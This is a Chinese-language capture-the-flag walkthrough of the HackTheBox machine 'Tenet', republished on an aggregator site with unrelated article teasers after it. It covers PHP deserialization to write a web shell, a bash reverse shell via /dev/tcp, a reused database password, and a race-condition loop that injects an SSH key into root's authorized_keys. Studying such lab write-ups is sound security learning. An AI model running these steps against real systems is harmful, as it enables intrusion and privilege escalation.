HTB-Tenet

news2025/1/3 2:35:28

HTB-Tenet

  • 信息收集
    • 80端口
      • /users.txt目录
      • /wordpress/wp-login.php
    • tenet.htb
  • 立足
  • www-data -> neil
  • neil -> root

请添加图片描述

信息收集

在这里插入图片描述
在这里插入图片描述

80端口

在这里插入图片描述
apache 2.4.49存在的exploit。
在这里插入图片描述

目录扫描

在这里插入图片描述

/users.txt目录

在这里插入图片描述

/wordpress/wp-login.php

在这里插入图片描述
在Go to Tenet超链接会出现tenet.htb。
在这里插入图片描述
添加至hosts再次访问,会看到三篇文章。
在这里插入图片描述

tenet.htb

从三个文章中收获了疑似的用户名protagonistneil
在这里插入图片描述
其中neil在询问是否删除了sator php file 以及backup,所以现在开始寻找它,但是他们并没说清楚是IP上的文件还是vhost虚拟主机上的。写个脚本或者burp suite跑一下。

http://10.10.10.223/sator.php
在这里插入图片描述
http://10.10.10.223/sator.php.bak

立足

class DatabaseExport
{
        public $user_file = 'users.txt';
        public $data = '';
        public function update_db()
        {
                echo '[+] Grabbing users from text file <br>';
                $this-> data = 'Success';			#给data赋值
        }
        public function __destruct()
        {
                file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
                #__DIR__获取当前目录绝对路径,拼接上'/'和文件名users.txt,再把data变量的值赋给前面拼接好的文件。__destruct会在反序列化结束后调用
                #综上所述我们只需要改变data、user_file变量的值。
                echo '[] Database updated <br>';
        //      echo 'Gotta get this working properly...';
        }
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>

很明显需要一个反序列化利用。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在burp suite里对bash -c "bash -i >& /dev/tcp/ip/port 0>&1"进行url编码。

在这里插入图片描述

www-data -> neil

/var/www/html/wordpress目录有一个wp的配置文件wp-config.php,其中有MySQL的配置,使用neil:Opera2112登录。

在这里插入图片描述
在这里插入图片描述

neil -> root

在这里插入图片描述
查看我们拥有的权限。
在这里插入图片描述

#!/bin/bash   
checkAdded() {
		#对key进行处理获取,以空格为划分取第三段也就是root@ubuntu,将其赋值给sshName。                                                                                                                                                                                                                                                                                                                                                                                                                                                    
        sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3) 
        #检查/root/.ssh/authorized_keys文件内是否含有root@ubuntu。 -z是检查字符串长度是否为0,为0返回0否则返回1。
        if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
        #如果含有root@ubuntu则打印root@ubuntu添加成功               
                /bin/echo "Successfully added $sshName to authorized_keys file!"           
        else
        #如果没有含有就打印添加出错。                                                                    
                /bin/echo "Error in adding $sshName to authorized_keys file!"              
        fi                                                                                 
}                                                                                          
                                                                                           
checkFile() {           
		#检查$1变量所指的文件为空或$1变量文件不是普通文档就执行下面语句(-s检查文件内容是否为空,-f检查文件是否为普通文档,不是目录也不是设备文件是普通文档)。                                                                   
        if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then                                            
                /bin/echo "Error in creating key file!"     
                #如果$1变量所指的文档是普通文档则执行下面语句,只要让$1所指的文件为空并且是普通文件就可以到第二个if来。                               
                if [[ -f $1 ]]; then /bin/rm $1; fi                                        
                exit 1                                                                     
        fi                                                                                 
}                                                                                          
                                                                                           
addKey() {
		#在/tmp/生成一个名叫ssh-8个随机字符组成的文件名的临时文件,每一个X代表一个随机字符。
		#-u我在手册上查到的是只打印生成的临时文件名称,而不创建它。将生成的随即名赋予tmpName。                                                                                 
        tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)                                             
        #设置当前权限掩码是110,最大权限是666(文件最大权限是666,
        #目录最大权限是777,因为安全问题文件最大权限是666)-110=556(w-xw-xwr-)的名为变量$tmpName所指的文件。
        (umask 110; touch $tmpName) 
        #把key变量值附加到$tmpName所指的文件内。                                                       
        /bin/echo $key >>$tmpName                                                          
        #把文件名传给checkFile函数
        checkFile $tmpName                                                                 
        #将$tmpName所指向的文件内容附加到/root/.ssh/authorized_keys
        /bin/cat $tmpName >>/root/.ssh/authorized_keys
        #删除创建的文件                                     
        /bin/rm $tmpName                                                                   
}                                                                                          

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"                                                                                          
addKey                                                                                     
checkAdded           

我们没有能直接输入的入口。生成的文件我们可以输入,所以想法就是写入自己的公钥进去。
现在本地生成ssh公钥。
在这里插入图片描述
在这里插入图片描述

将我的公钥放在pub文件里,当然也可以直接丢在代码中。

while true;do for f in /tmp/ssh-*;do cat pub > $f;done;done

在这里插入图片描述
在这里插入图片描述
条件竞争可能会失败多次,多加尝试即可。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/447193.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Linux基础IO之 内存文件操作】

目录&#xff1a; 前言一、引入C语言中的文件操作系统文件操作open 位图权限close、write、readlseek C语言中的文件操作函数与系统文件操作函数的联系 三、文件描述符1.文件描述符是什么2.文件缓冲区再谈重定向 四、文件缓冲区分类语言级缓冲区为什么要有两个缓冲区 五、仿写c…

如何选择CDN加速平台?

现如今全球CDN市场规模逐年攀升&#xff0c;在2017年全球CDN市场规模约为75亿美元,到2021年增长到200亿美元左右。我国CDN行业同样保持高速发展,自2017年的135亿元增长到2022年的300亿元左右。但是国内的CDN市场规模仅为全球市场的15%-20%&#xff0c;海外CDN市场空间巨大。 接…

每日学术速递4.21

CV - 计算机视觉 | ML - 机器学习 | RL - 强化学习 | NLP 自然语言处理 Subjects: cs.CV 1.Pretrained Language Models as Visual Planners for Human Assistance 标题&#xff1a;预训练语言模型作为人工协助的视觉规划器 作者&#xff1a;Dhruvesh Patel, Hamid Eghbal…

【Linux高性能服务器编程】信号处理方法之统一事件源

目录 为什么要用统一事件源统一事件源的概念统一事件源的应用 为什么要用统一事件源 信号是一种异步事件&#xff1a;信号处理函数和程序的主循环是两条不同的执行路径。即当进程收到信号时&#xff0c;操作系统会中断进程当前的正常流程&#xff0c;转而进入信号处理函数去处…

机器学习笔记 - MediaPipe结合OpenCV分析人体标准运动姿势

一、简述 在之前的文章中,对于MediaPipe进行了初步了解,并对结合OpenCV进行人体姿势估计的技术的处理思路进行看了一些探讨。 https://skydance.blog.csdn.net/article/details/123508782https://skydance.blog.csdn.net/article/details/123508782 这里我们要进行一…

奥艺大会 | 国际奥艺委员会与意大利环境基金会达成合作

4月17日&#xff0c;国际奥艺委员会执行主席Rachel Qin和副秘书长Linda Xu受邀前往意大利环境基金会&#xff08;Fondo Ambiente Italiano&#xff0c;简称FAI&#xff09;&#xff0c;与意大利环境基金会罗马主席Giuseppe Morganti进行会面。 OLYMP’ARTS 2023奥艺大会以“环…

机器学习实战 第2周 监督学习

机器学习算法原理 代码实现 优化方法

云擎未来,智信天下:2023移动云大会分论坛“抢先看”

“云擎未来&#xff0c;智信天下”——2023移动云大会&#xff0c;将于4月25日—26日在苏州盛大开启。本次大会是由中国移动集团主办的云计算行业最高规格大会之一&#xff0c;邀请众多政府领导、院士专家、行业大咖齐聚一堂&#xff0c;对话前沿科技、探讨热点产业问题&#x…

计算机视觉——yolov5回归与跨网格预测、训练技巧(下篇)

yolov5 1. yolov5网络架构与组件1.1 网络可视化工具 netron1.2 不同模型的配置1.3 Focus 模块1.4 CSPNet 跨阶段局部网络1.5 SPP 空间金字塔池化1.6 PANet 路径聚合网络 2. 损失函数2.1 类别预测2.2 边界框回归2.3 回顾IoU2.4 IoU推广——GIoU loss2.5 IoU推广——DIoU loss2.6…

性能分析方法论简介

文章目录 1. 前言2. 性能分析概述3. 性能分析方法论一览3.1 TSA 和 USE3.1.1 TSA3.1.1.1 TSA 概述3.1.1.2 TSA 状态转换3.1.1.3 延迟类状态3.1.1.3 TSA 总结 3.1.2 USE3.1.2.1 USE 简介3.1.2.2 低利用率是否意味着没有饱和&#xff1f;3.1.2.3 使用 USE3.1.2.3 常见资源列表 和…

基于springboot+Vue的大学生高校学科竞赛报名管理系统

&#xff08;4&#xff09;学生&#xff1a; 个人中心&#xff1a;此页面&#xff0c;用户可查看其个人信息&#xff0c;可进行修改个人信息操作&#xff1b; 个人竞赛报名模块&#xff1a;查看已创建的学科竞赛&#xff0c;并可报名。 团队竞赛报名模块&#xff1a;查看已创建…

(二十)查找算法-二分查找

1 基本介绍 二分查找又叫折半查找&#xff0c;是一种高效简单的查找算法&#xff0c;通常用于在有序的数组中查找某个元素&#xff0c;例如从{1,2,4,6,8,9,10,23,24}的数组中查找值是8的元素&#xff0c;就可以采用二分查找法。 二分查找的思想&#xff1a; 给一个有序的序列…

【Qt5】快速傅里叶变换(FFTW库)+QCustomplot

文章目录 一、Windows下的FFTW库下载、配置、使用使用windows的lib工具生成库添加库文件到qt 一、Windows下的FFTW库下载、配置、使用 下载地址&#xff1a;https://fftw.org/pub/fftw/ 使用windows的lib工具生成库 Windows环境解压出来&#xff0c;在当前目录打开命令行&…

mysql数据库(工具类、DBUtils(应用)、数据库连接池、密码处理)

增删改查的工具类 操作数据库常用的执行方法&#xff1a; execute&#xff08;&#xff09;可以进行增删改查 executeUpdate() 可以执行增删改 但是不能执行查询 exeuctQuery()&#xff1a;只可以执行查询 我们在封装这个工具类的时候&#xff0c;只需要封装两种&#xff1a;一…

Centos7 安装NVM【安装node、安装教程】

1.编辑安装脚本 vim install.sh这里为了防止无法访问到github&#xff0c;这里特地将安装脚本复制过来了 对应网站&#xff1a;raw.githubusercontent.com/nvm-sh/nvm/v0.38.0/install.sh #!/usr/bin/env bash{ # this ensures the entire script is downloaded #nvm_has() {t…

SHELL脚本的编写

目录 1、判断当前磁盘剩余空间是否有20G&#xff0c;如果小于20G&#xff0c;则将报警邮件发送给管理员&#xff0c;每天检查一次磁盘剩余空间。 2、判断web服务是否运行&#xff08;1、查看进程的方式判断该程序是否运行 3、使用curl命令访问第二题的web服务&#xff0c;看…

C语言模拟银行排队叫号(顺序队)

一.队列 队列是一种具有先进先出&#xff08;FIFO&#xff09;特性的线性数据结构&#xff0c;它只允许在队列的两端进行插入和删除操作。队列的一端称为队尾&#xff08;rear&#xff09;&#xff0c;另一端称为队头&#xff08;front&#xff09;。新元素总是插入在队列的队…

浙大OJ 1004 回文栈 暴搜

&#x1f351; ZOJ 1004 Anagrams by Stack 输入 madam adamm bahama bahama long short eric rice输出 [ i i i i o o o i o o i i i i o o o o i o i i o i o i o i o o i i o i o i o o i o ] [ i o i i i o o i i o o o i o i i i o o o i o i o i o i o i o i i …

苹果手机网速慢怎么办?这些方法帮你解决网速慢的问题!

案例&#xff1a;苹果手机数据网络信号差&#xff0c;怎么解决&#xff1f; 【家人们&#xff0c;苹果手机不知咋回事&#xff0c;网速很慢&#xff0c;想要在某宝买个东西都得卡个半天。哭了&#xff01;有没有什么方法解决&#xff1f;】 苹果手机作为一款高端智能手机&…

数据结构(四)—— 字符串

文章目录 一、字符串基础二、题2.1 344 反转字符串2.2 541 反转字符串II2.3 剑指Offer 05.替换空格2.4 151 翻转字符串里的单词2.5 剑指Offer58-II.左旋转字符串2.5 28 实现 strStr()2.6 459 重复的子字符串 一、字符串基础 1、旋转字符串&#xff1a;reverse(s.begin(), s.en…